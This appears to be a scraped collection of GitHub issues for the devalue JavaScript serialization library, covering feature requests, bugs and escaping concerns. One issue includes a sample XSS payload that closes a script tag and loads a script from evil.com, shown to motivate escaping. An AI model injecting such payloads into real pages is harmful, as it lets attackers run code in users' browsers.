rich-harris / devalue Goto Github PK

When it comes to invalid date objects e.g. when using new Date() with an invalid date string, the stringify function throws an error.

See the example here:
https://svelte.dev/repl/db77cddd51d84149b7ddb9ce29a87ec0?version=3.49.0

But the same input does not throw an error when using the uneval function.
I guess it makes sense to have a consistent behavior there.

A solution to this problem could look like this:

// https://github.com/Rich-Harris/devalue/blob/master/src/stringify.js#L68
case 'Date':
	const isValidDate = !isNaN(thing.getDate())
	str = `["Date","${isValidDate ? thing.toISOString() : ''}"]`;
	break;

This gets rid of the error and when using parse you'll get back an invalid date.

What do you think?
I can submit PR if you want.

I was surprised to learn that this package didn't support URL types, especially as they have a toJSON method natively.

Date and RegExp types are supported, so I figured URLs were a pretty clear case.

Is this something that can be added?

Say you're server-rendering a page and want to serialize some state, which could include user input. JSON.stringify doesn't protect against XSS attacks:

const state = {
  userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};

const template = `
<script>
  var preloaded = ${JSON.stringify(state)};
</script>
`;

That would result in this...

<script>
  var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
</script>

...which would obviously load a script from evil.com.

The same is true of devalue. We should be able to prevent those attacks by replacing any instance of </ with <\u002f, though I'd love for someone else to tell me if I'm right about that.

Could you elaborate what is the purpose of the safeProps function and what it the regex for?

I have a ServerSide JSON file that was encoded with devalue.stringify since it has Maps, doing a fetch call to it with .json doesn't work i.e consider

fetch("https://example.com/data.json")
.then(res => res.json()) // Breaks

But if I do (workaround)

fetch("https://example.com/data.json")
.then(res => res.text())
.then(data => devalue.parse(data)) // Works

So I think it would be nice if devalue.parse could accept a ReadableStream as well so that we can do something like one of the two below

fetch("https://example.com/data.json")
  .then(res => devalue.parse(res)) // This probably is the wrong way to approach it, not sure
  // similarly
  .then(res => res.devalueParse())

or alternatively

// via stream chunking
fetch("https://example.com/data.json")
  .then(res => {
    res.body.pipe( devalueParser );

    devalueParser.on( 'error', function ( error ) { } );
    devalueParser.on( 'readable', function () {
      let stream = this; // `this` is from `devalueParser`, which is a stream
      let item;

      let chunks = [];
      while ( item = stream.read() ) chunks.push( item );

      return chunks;
    } );
  })

I can see some obvious dumbness in my examples but the general idea is to be able to use a stream parser to not have to wait for the text and then parse it

Not sure if I am dumb or just tired but I couldn't figure out how to get the actual value from the stringified/encoded input...

import devalue from "devalue";

const obj = { someDate: new Date() };

const serialized = devalue(obj); // equivalent of JSON.stringify
const parsed = ...; // equivalent of JSON.parse?
parsed.someDate.getTime(); 

Can the new line character appear in the serialized string? It doesn't seem to, but is it guaranteed?

I'm asking this because I'm planning to use it with server-sent events.

Feature request

Make it so that if an object as a .toJSON() function, devalue runs on the result of that function: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify#tojson_behavior

Why

It would be nice to have feature parity with JSON.stringify.

My particular usecase is regarding SvelteKit: I'm engineering a pinia-like global store that works no matter the context (layout/page load in browser/ssr, or component initialization during browser/ssr), and so I store some writable stores in the session. The issue of course being that I don't want multiple users accessing the same shared stores during ssr.

I can achieve what I want by using Object.defineProperty with non-enumerable, regardless a toJSON api would be nice.

Other

If the feature is approved, I can do the PR.

As shown in vuejs/vuex-router-sync#89 (comment) and https://codesandbox.io/s/5x2wpo27k4, devalue exposes a XSS vulnerability, when an object key contains unsafe characters.

From the issue:

I think it should be safe to use the same approach as in serialize-javascript to replace unsafe characters: https://github.com/yahoo/serialize-javascript/blob/35f64803a3a67662e16ad5260901d4e291260989/index.js#L126

I would like to dynamically import javascript files in the revivers - so that I can create a more generic reviver and don't have to import all custom types at once. However, currently, the hydrate() function doesn't support it.
Would it be possible to add support for this without breaking backwards compatibility?

Trying to add some custom types for functions but devalue seems to throw before calling the replacer. I understand that serializing functions is a non-goal, but I'm not sure it makes sense to prevent the following use-cases to be implemented with custom types:

• Reviving a pure function using a custom type. There is no transferring of the function, we can just reference it on both sides of serialization:

  const add = (a, b) => a + b;
  
  const stringified = devalue.stringify({ myOperation: add }, { Add: (value) => value === add });
  
  const result = devalue.parse(stringified, { Add: () => add });
  
  console.log(result.myOperation(1, 2));

• Ignoring non-serializable. While transferring user generated values, trying to do a best effort while communicating failures:

  const NONTRANSFERRABLE = Symbol('nontransferrable');
  
  const stringified = devalue.stringify(
  { foo: () => 1 },
  { Ignore: (value) => typeof value === 'function' || value === NONTRANSFERRABLE },
  );
  
  const result = devalue.parse(stringified, { Ignore: () => NONTRANSFERRABLE });
  
  console.log(result.add(1, 2));

both of these result in

Uncaught DevalueError: Cannot stringify a function

Would you consider relaxing the acceptable values that can be serialized with custom types?

Hi Rich,

Would it be possible to change from LIL License to something more standard (maybe MIT)? My company requires packages to be of a certain license before they can be used and the LIL License is not on the approved list nor seems supported these days (even the website lillicense.org is down now).

Thanks for considering!

Ref: sveltejs/v2.svelte.dev#236

This might be something that would be nice. It would have avoided the above issue. If the goal is to produce javascript to re-create the same object, it'd be cool if that javascript were resilient to charset issues.

Please take a look at this problem:
sveltejs/sapper#230

It would be great to be able ignore functions instead of throwing exception

@DanielRuf Do you see any security risks with using devalue to save to localStorage & using (0,eval)(localStorage.getItem(myKey)) to evaluate the item from localStorage? I have not been able to track any literature on this using eval on a localStorage item, other than "don't use eval" for obvious reasons. For example, could an attacker somehow write malicious javascript to localStorage, which will be later be inadvertently executed from an app accessing & eval'ing the localStorage item?

Lone surrogates are not valid in UTF-16 or UTF-8, and can be (and have been) used to break such parsers. To protect against this, just escape them.

• Explanation: https://speakerdeck.com/mathiasbynens/hacking-with-unicode-in-2016?slide=106 (there’s a video recording too)
• Related ECMAScript proposal: https://github.com/tc39/proposal-well-formed-stringify

FWIW, I worked on https://github.com/mathiasbynens/jsesc which shares devalue’s security goals (although it does not compete with devalue, as it doesn’t aim to support cycles).

Are typed arrays and array buffers considered "non-POJOs" or could they be handled by this library as well?

https://github.com/Rich-Harris/devalue/blob/master/src/index.ts#L112
Object.assign dont work in ie 11 as well as in some mobile browsers
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign#Browser_compatibility

I wonder if we could automatically use JSON in cases where it's safe to do so, using some heuristic or other to figure out if it's worthwhile https://twitter.com/mathias/status/1143551692732030979

When devaluing a Symbol with either devalue.uneval or devalue.stringify, the description string is printed as is instead of keeping it as a string.

devalue.uneval(Symbol("test")) // "Symbol(test)"

devalue.uneval(Symbol("test\n")) // "Symbol(test
// )"

In the SvelteKit use case, it's annoying that sometimes my server side data models contain data that should not be sent to the client (like private keys or passwords as strings) but are conceptually related to the object (e.g. user profile). I was surprised when SvelteKit errored out instead of silently ignoring Symbol keys in objects during serializing of a server load event.

I'd like to see devalue support some means of having a property omitted from devalue serialization. Quietly skipping over Symbol keys in objects seems reasonable, because it would match the behaviour of JSON.serialize, and there is inherantly nothing useful you can do to serialize a Symbol in the future, short of having some kind of laboriously maintained symbol registry on both sides, so there's little value in trying to reserve the space for future functionality.

WeakMaps are a feasible work around, but it's messy and requires a lot of care in data models to handle it well. Symbol keys seem idiomatic and popular in other projects as a way of kind of hiding properties in objects, almost akin to private fields in OOP. I think in the context of an object property the intent to conceal is fairly clear.

Hey Rich! Love this library and use it every time we mount a component to HTML in Elder.js.

One project our team is tackling has a pretty large JSON object we need to hydrate which has a lot of repeated keys.

Currently devalue gives us an output which looks something like this:

// function... yada yada
[
    {
      plant_id: 9456,
      plant_code: '61264',
      plant_name: 'Antelope Expansion 2',
      toxic_chemical_release: a,
      primary_fuel: q,
      address: ab,
      longitude: -118.309153,
      latitude: 34.744977,
      owners: [{ provider_id: C, provider_eiaid: v, provider_name: a, provider_slug: v, fraction_owned: n }],
      plant_production_time_periods: [i, f, l, h, c, g, m, j, k, d, e, b],
      plant_emission_time_periods: [b, k, h, m, j, g, c, i, l, d, f, e],
      plant_production_12_month: 250964,
      plant_emission_12_month: 24580147.654842217,
      plant_emission_per_mwh: 97.94292270940142,
    },
    {
      plant_id: 4817,
      plant_code: '56041',
      plant_name: 'Malburg',
      toxic_chemical_release: a,
      primary_fuel: o,
      address: '4963 Soto Street',
      longitude: -118.2219,
      latitude: 33.9986,
      owners: [{ provider_id: a, provider_eiaid: a, provider_name: a, provider_slug: a, fraction_owned: n }],
      plant_production_time_periods: [b, j, c, i, e, k, f, g, h, d, m, l],
      plant_emission_time_periods: [h, k, m, f, b, j, d, c, l, e, i, g],
      plant_production_12_month: 376645,
      plant_emission_12_month: 264428563.37669998,
      plant_emission_per_mwh: 702.0631187901074,
    },
    {
      plant_id: 4821,
      plant_code: '56051',
      plant_name: 'THUMS',
      toxic_chemical_release: a,
      primary_fuel: o,
      address: '1411 Pier D Street',
      longitude: -118.2141,
      latitude: 33.7684,
      owners: [{ provider_id: a, provider_eiaid: a, provider_name: a, provider_slug: a, fraction_owned: n }],
      plant_production_time_periods: [g, e, c, d, j, m, h, b, k, f, l, i],
      plant_emission_time_periods: [b, h, c, l, k, m, e, j, i, d, g, f],
      plant_production_12_month: 356307,
      plant_emission_12_month: 200655151.6458,
      plant_emission_per_mwh: 563.1524265473314,
    },
  ];

Any reason devalue can't be extended to create a dictionary for keys so they can be compressed as well? Reading the source code I don't see a reason why it couldn't be, but I think you're much much more familiar with the esoterics of the ecosystem and alternatives than I am.

Just looking to compress the object sizes down with no cost to the client. devalue is great at this. :)

Hi,
I'm using SvelteKit together with Prisma with computed fields. Results cannot be stringified and sent to the client (in load for example), because that throws this error:

Cannot stringify POJOs with symbolic keys

Interestingly, if I just comment out those checks here and here, it works just fine. Is there a reason for this check and some edge cases I haven't yet ran into?

Thanks in advance.

For anyone wanting to test, here's a patchfile for yarn patch: devalue-npm-4.3.2-e483100d94.patch

Been using this successfully for about a week. Using it to serialize undefined values (and a few cycles) so I can distinguish them from null values when I read them back in as Mobx observables. Many 🙏🏼🙏🏼🙏🏼.

Error message is slightly different, leaving this here as a heads up for anyone else trying to test their changes.

This link points to a repl with an older version of devalue. The example does not work and requires you to manually fix the import before beeing able to play around and see the results.

Found duplicate: sveltejs/kit#6462

I get an error when trying to publish the latest sveltekit to netlify:
Error - No "exports" main defined in /var/task/node_modules/devalue/package.json

My Sveltekit project package.json:

        "devDependencies": {
		"@sveltejs/adapter-auto": "^1.0.0-next.71",
		"@sveltejs/kit": "next",
		"prettier": "^2.6.2",
		"prettier-plugin-svelte": "^2.7.0",
		"svelte": "^3.44.0",
		"svelte-check": "^2.7.1",
		"typescript": "^4.7.4",
		"vite": "^3.1.0-beta.1"
	},

Found more information here:
devalue import fails with adapter-node
devalue cause crash on Netlify after update

I know this is not an "issue" but I don't understand what exactly is the difference between these 2 packages. Which is is better because they seem to do very similar things 😕

It seems Travis CI and AppVeyor are not enabled / configured fpr this project.

The way I imagine this could work is as follows:

import * as devalue from 'devalue';
import { User, Post } from '$lib/models';

devalue.registerClasses({ User, Post });

Or otherwise, if you prefer not to offer a global register function, maybe you could add it as an optional last argument to every method that either serializes or parses. Like so:

import * as devalue from 'devalue';
import { User } from '$lib/models';
import * as allModels from '$lib/models';

const user = new User("John Doe");
const data = { user }

let serialized = devalue.uneval(data, allModels);
// or
let serialized = devalue.stringify(data, allModels);

const unserialized = devalue.parse(serialized, allModels);

If needed we can of course enforce that those classes implement a certain interface that may be necessary for the serializing and unserializing process. If something like that is necessary then my preference would go towards enforcing two static methods on the class for (un)serializing. That way it wouldn't pollute the list of the class' instance methods, which is nicer when you're using intellisense / autocomplete in your IDE.

The nice thing about adding a feature like this, is that then we can have objects with functions that can be (un)serialized using this package without it throwing errors. Because if the package knows how to instantiate class objects, then the functions come with it for free.

Edit

If you approve, but don't feel like implementing it any time soon, I could submit a PR. :-)

Edit 2

Here is a working proof of concept in stackblitz. Written with Svelte, simulating server-client communication with components.

It may not be perfect (yet), but maybe it can become perfect with a little more work put into it. I hope you see potential in this.

I was getting this error while using this package through linaria (one of its dependencies) inside of rakkasjs.
Adding a default condition to the exports field fixed it for me:

"exports": {
	".": {
		"types": "./types/devalue.d.ts",
		"import": "./devalue.js",
		"default": "./devalue.js"
	}
},

PS: Apparently the types condition should also come first even though it works anyway 😅 - https://nodejs.org/api/packages.html#packages_community_conditions_definitions

I know that this library already has basic typescript support, but it could be better.

In two ways:

1. Right now, both stringify and uneval are typed as (value: any) => string. So you won't get a compiler warning if you're giving it an input that would throw an error, like an object with functions. It's possible to define the exact type that value is allowed to be and that would be nice to have.
2. It would also be nice if you could do this:

interface User {
    name: string
}

const { user } = devalue.parse<{ user: User }>(data)

In situations where you're absolutely sure what data is gonna parse to. I'm aware that right now you can achieve the same by writing it like this:

interface User {
    name: string
}

const { user } = devalue.parse(data) as { user: User }

So this second point is less important than the first, but still it would be nice.

Edit

If you approve, but don't feel like implementing it any time soon, I could submit a PR. :-)

If you have for example this code, I would expect that the toJSON method will be called of the object but instead it throws a non-POJOs error.

var devalue = require("devalue")
var { Map } = require('immutable');
console.log(devalue({
    test: new Map({a:1})
}))

Though devalue.stringify() appears to work on nested Maps correctly, devalue.uneval() does not handle the references correctly.

From a setup like this:

import * as devalue from 'devalue';

const node1 = { id: 1 };
const node2 = { id: 2 };
const node3 = { id: 3 };

const map = new Map([
  [node1, new Map([
    [node2, 1],
    [node3, 1]
  ])],
  [node2, new Map([
    [node1, 1],
    [node3, 1]
  ])],
  [node3, new Map([
    [node1, 1],
    [node2, 1]
  ])]
]);

const result = devalue.uneval(map);

I would expect a result like (extrapolated from how arrays are handled):

(function(a, b, c){
  a.id=1;
  b.id=2;
  c.id=3;
  return new Map([
    [a, new Map([
      [b, 1],
      [c, 1]
    ])],
    [b, new Map([
      [a, 1],
      [c, 1]
    ])],
    [c, new Map([
      [a, 1],
      [b, 1]
    ])]
  ]);
})({}, {}, {}))

...but instead the result is

new Map([
  [{id:1}, new Map([
    [{id:2},1],
    [{id:3},1]
  ])],
  [{id:2}, new Map([
    [{id:1}, 1],
    [{id:3}, 1]
  ])],
  [{id:3}, new Map([
    [{id:1}, 1],
    [{id:2}, 1]
  ])]
])

Demonstration: https://svelte.dev/repl/771c6728b27240c486c8c6a3fbc9e280?version=3.49.0

First, a disclaimer: This issue is niche as hell. I understand that. But:

If a POJO was created in a different context, checking whether its prototype is Object.prototype will fail, because its prototype is actually a different Object.prototype. This actually did come up for me, when I was trying to stringify a value created by Node's vm module. You can easily reproduce this by attempting to run devalue(vm.runInNewContext('({})')).

Now. I don't really know what a good solution to this is, and it seems it's likely that I need to send normal object to devalue more so than that devalue needs to handle weird ones.

One heavy-handed way would be to have an option that forces devalue to stringify objects, regardless of whether it perceives them to be non-POJOs.

A less heavy-handed way (but kind of a weird one) would be to have an option that can be passed to devalue that tells it what Object or Object.prototype object to use.

In the other sort of direction, devalue currently silently ignores any keys on objects that are non-enumerable or that are a symbol and not a string. By their very nature, there's no way to handle symbol keys - and it might be possible to deal with non-enumerable ones but it's likely to not be worth the hassle. Anyway, perhaps these should throw exceptions rather than just being ignored.

code:

import devalue from 'devalue';
...

devalue({a:1});

And got error: nodejs.TypeError: devalue_1.default is not a function

Env: Node 10.x, typescript 3.8

Looks like node picksdist/devalue.umd.js which has no default export

Currently, devalue will ignore non-enumerable properties. It could use Object.getOwnPropertyDescriptors instead and handle those, correctly setting writable, enumerable and configurable.

With that, { foo: 1 } would just be the (common) special case where writable, enumerable and configurable are all true.

At the same time, we would throw on getters and setters, since devalue doesn't serialize functions.